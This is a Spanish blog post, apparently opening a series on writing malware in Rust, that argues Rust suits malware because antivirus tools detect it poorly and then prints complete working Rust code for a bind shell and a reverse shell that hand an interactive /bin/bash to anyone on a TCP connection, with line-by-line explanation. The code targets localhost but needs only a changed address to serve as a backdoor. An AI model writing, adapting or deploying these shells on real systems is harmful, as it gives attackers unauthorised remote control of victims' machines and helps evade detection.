¡Malware desde Cero con Rust!: Post 0 – Introducción y bind & reverse shells

Porque Rust ofrece varias ventajas significativas para el desarrollo de malware: 

• Rendimiento y Eficiencia: Rust ofrece un rendimiento cercano al de C y C++, lo que permite a los desarrolladores crear malware altamente eficiente y rápido. Esto es crucial para realizar tareas intensivas como cifrado, descompresión y manipulación de datos en tiempo real. 
• Seguridad de Memoria: Una de las características más destacadas de Rust es su seguridad de memoria. Rust previene muchos errores comunes de programación que pueden provocar vulnerabilidades explotables, como desbordamientos de búfer y uso de punteros nulos. Esto hace que el malware escrito en Rust sea más estable y difícil de detectar y eliminar. 
• Baja Detectabilidad: Debido a que Rust es relativamente nuevo en comparación con lenguajes más tradicionales como C y C++, muchos productos de seguridad y antivirus pueden no estar tan bien equipados para detectar y analizar malware escrito en Rust. Esto puede dar a los desarrolladores de malware una ventaja en términos de evasión de detección. 
• Multiplataforma: Rust es un lenguaje multiplataforma que permite a los desarrolladores compilar el mismo código para múltiples sistemas operativos como Windows, Linux y macOS sin realizar cambios significativos. Esto facilita la creación de malware que puede atacar diferentes plataformas. 
• Ecosistema y Herramientas: Rust tiene un ecosistema robusto con herramientas y bibliotecas que pueden facilitar el desarrollo de malware. Por ejemplo, las bibliotecas para la manipulación de red, el cifrado y la concurrencia son fácilmente accesibles y bien mantenidas. 
• Concurrencia y Asincronía: Rust tiene un modelo de concurrencia moderno y eficiente. Esto permite que el malware escrito en Rust realice múltiples tareas simultáneamente sin los problemas típicos de concurrencia que pueden afectar a otros lenguajes, como las condiciones de carrera. 
• Código Limpio y Mantenible: Rust enfatiza la escritura de código limpio y mantenible. Los desarrolladores de malware pueden beneficiarse de estas características para crear código que sea difícil de analizar y comprender para los investigadores de seguridad. 

Empezaremos nuestro periplo usando la bind shell del repositorio: https://github.com/LukeDSchenk/rust-backdoors/

Este código crea un servidor TCP que escucha en el puerto 4444 de la dirección 127.0.0.1. Para cada conexión entrante, abre un nuevo proceso de shell (/bin/bash) y redirige la entrada y salida estándar del shell a través de la conexión TCP. Cada conexión se maneja en un hilo separado, lo que permite múltiples conexiones simultáneas. 

Imports

use std::net::{TcpStream, TcpListener};
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
use std::thread;

• std::net::{TcpStream, TcpListener}: Importa TcpStream y TcpListener para manejar las conexiones TCP. 

• std::os::unix::io::{AsRawFd, FromRawFd}: Importa funcionalidades específicas de UNIX para trabajar con descriptores de archivos. 
• std::process::{Command, Stdio}: Importa Command y Stdio para ejecutar y manipular procesos. 
• std::thread: Importa la biblioteca de hilos para manejar múltiples conexiones simultáneamente. 

Función handle_client

fn handle_client(stream: TcpStream) {
    let fd = stream.as_raw_fd(); // Convierte el objeto TcpStream a un descriptor de archivo bruto

    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait() // Espera a que el proceso del shell termine
        .unwrap();
}

Función main

fn main() {
    let listener = TcpListener::bind("127.0.0.1:4444").expect("Cannot bind to port 4444. Is something using it?");
    println!("Listening on port 4444...");

    let mut num_connections = 0;

    for stream in listener.incoming() {
        let stream = stream.expect("An error occurred trying to handle an incoming connection");

        println!("New connection from {}; Current connections: {}", stream.peer_addr().unwrap(), num_connections);
        thread::spawn(|| {
            handle_client(stream);
        });

        num_connections += 1;
    }
}

Este código establece una conexión TCP con un servidor que escucha en localhost en el puerto 4444. Una vez establecida la conexión, crea un proceso de shell interactivo (/bin/bash) y redirige la entrada, salida y error estándar de ese shell a través de la conexión TCP. Esto permite interactuar con el shell remoto como si estuvieras directamente en la máquina donde se ejecuta el shell. Este tipo de funcionalidad es comúnmente utilizada en herramientas de acceso remoto y en el desarrollo de malware para establecer conexiones de reversa.

Vamos a volver a analizar paso a paso el código:

use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};

• std::net::TcpStream: Importa TcpStream para manejar la conexión TCP.
• std::os::unix::io::{AsRawFd, FromRawFd}: Importa funcionalidades específicas de UNIX para trabajar con descriptores de archivos.
• std::process::{Command, Stdio}: Importa Command y Stdio para ejecutar y manipular procesos.

fn main() {
    let sock = TcpStream::connect("localhost:4444").unwrap();
    
    let fd = sock.as_raw_fd();

    Command::new("/bin/bash")
        .arg("-i")
        .stdin(unsafe { Stdio::from_raw_fd(fd) })
        .stdout(unsafe { Stdio::from_raw_fd(fd) })
        .stderr(unsafe { Stdio::from_raw_fd(fd) })
        .spawn()
        .unwrap()
        .wait()
        .unwrap();
}

1. Establecer la conexión TCP

let sock = TcpStream::connect("localhost:4444").unwrap();

• TcpStream::connect(“localhost:4444”): Intenta conectar al servidor en localhost en el puerto 4444.
• .unwrap(): Maneja cualquier error que pueda ocurrir durante la conexión. En caso de error, termina el programa con un mensaje de error.

2. Obtener el descriptor de archivo

let fd = sock.as_raw_fd();

• sock.as_raw_fd(): Convierte el objeto TcpStream en un descriptor de archivo bruto. Esto es necesario para usar el socket TCP como entrada/salida estándar para el proceso de shell.

3. Ejecutar un shell interactivo

Command::new("/bin/bash")
    .arg("-i")
    .stdin(unsafe { Stdio::from_raw_fd(fd) })
    .stdout(unsafe { Stdio::from_raw_fd(fd) })
    .stderr(unsafe { Stdio::from_raw_fd(fd) })
    .spawn()
    .unwrap()
    .wait()
    .unwrap();

• Command::new(“/bin/bash”): Crea un nuevo comando para ejecutar /bin/bash.
• .arg(“-i”): Pasa el argumento -i para que el shell sea interactivo.
• .stdin(unsafe { Stdio::from_raw_fd(fd) }): Redirige la entrada estándar del proceso de shell al descriptor de archivo del TcpStream.
• .stdout(unsafe { Stdio::from_raw_fd(fd) }): Redirige la salida estándar del proceso de shell al descriptor de archivo del TcpStream.
• .stderr(unsafe { Stdio::from_raw_fd(fd) }): Redirige la salida de error estándar del proceso de shell al descriptor de archivo del TcpStream.
• .spawn(): Inicia el proceso de shell.
• .unwrap(): Maneja cualquier error que pueda ocurrir durante el inicio del proceso. En caso de error, termina el programa con un mensaje de error.
• .wait(): Espera a que el proceso del shell termine.
• .unwrap(): Maneja cualquier error que pueda ocurrir mientras se espera a que el proceso termine. En caso de error, termina el programa con un mensaje de error.